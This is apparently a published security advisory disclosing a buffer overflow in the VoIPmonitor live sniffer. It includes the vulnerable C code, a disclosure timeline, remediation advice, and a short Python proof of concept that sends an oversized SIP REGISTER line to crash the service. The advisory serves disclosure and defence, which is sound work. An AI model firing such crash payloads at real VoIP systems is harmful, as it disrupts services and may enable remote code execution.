# VoIPmonitor is vulnerable to a buffer overflow when using the live sniffer
- Fixed versions: 27.6
- Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2021-03-voipmonitor-livesniffer-buffer-overflow
- VoIPmonitor Security Advisory: none, changelog references fixes at https://www.voipmonitor.org/changelog-sniffer
- Tested vulnerable versions: 27.5
- Report date: 2021-02-10
- Triaged: 2021-02-12
- Fix provided for testing: 2021-02-15
- VoIPmonitor release with fix: 2021-02-15
- Enable Security advisory: 2021-03-15
A buffer overflow was identified in the VoIPmonitor live sniffer feature. The description variable in the function `save_packet_sql` is defined as a fixed length array of 1024 characters. The description is set to the value of a SIP request or response line. By setting a long request or response line VoIPmonitor will trigger a buffer overflow. The affected code is:
char callidstr = "";
void *memptr = memmem(packetS->data_()+ packetS->sipDataOffset,
packetS->sipDataLen, "\r\n", 2);
memcpy(description, packetS->data_()+ packetS->sipDataOffset,
(char *)memptr - (char*)(packetS->data_()+ packetS->sipDataOffset));
description[(char*)memptr - (char*)(packetS->data_()+
packetS->sipDataOffset)] = '\0';
When using the static binaries provided at the VoIPMonitor download site, this vulnerability may lead to remote code execution. This is due to lack of standard memory corruption protection as explained in a separate advisory, ES2021-04-voipmonitor-staticbuild-memory-corruption-protection.
When compiling the `voipmonitor` program from source, most modern build systems will automatically include run-time best practice checks. In such cases, it appears that the worst-case-scenario is that the program will end up crashing.
## How to reproduce the issue
1. Start the live sniffer from the VOIPMonitor GUI
2. Execute the following Python program so that VOIPMonitor is able to capture the packet
3. Observe that VOIPMonitor has crashed
msg='REGISTER %s SIP/2.0\r\n' % ('a' * 1024)
msg+='Via: SIP/2.0/UDP 192.168.1.132:35393;rport;branch=z9hG4bK-kwtTkrdNAO2Wvw0v\r\n'
msg+='CSeq: 1 REGISTER\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(msg.encode(), ('demo.sipvicious.pro', 5060))
## Solution and recommendations
To address this issue, we recommend upgrading to the latest fixed version of VoIPmonitor.
We recommended the following to the vendor:
> The length of the value that the description is being set to should be checked before it is copied into memory. The pattern `memcpy(dest, src, MIN(src_len, max_len));` could be used to safely perform this operation.
Enable Security would like to thank Martin Vit and the developers at VoIPmonitor for the very quick response and fixing this security issue.
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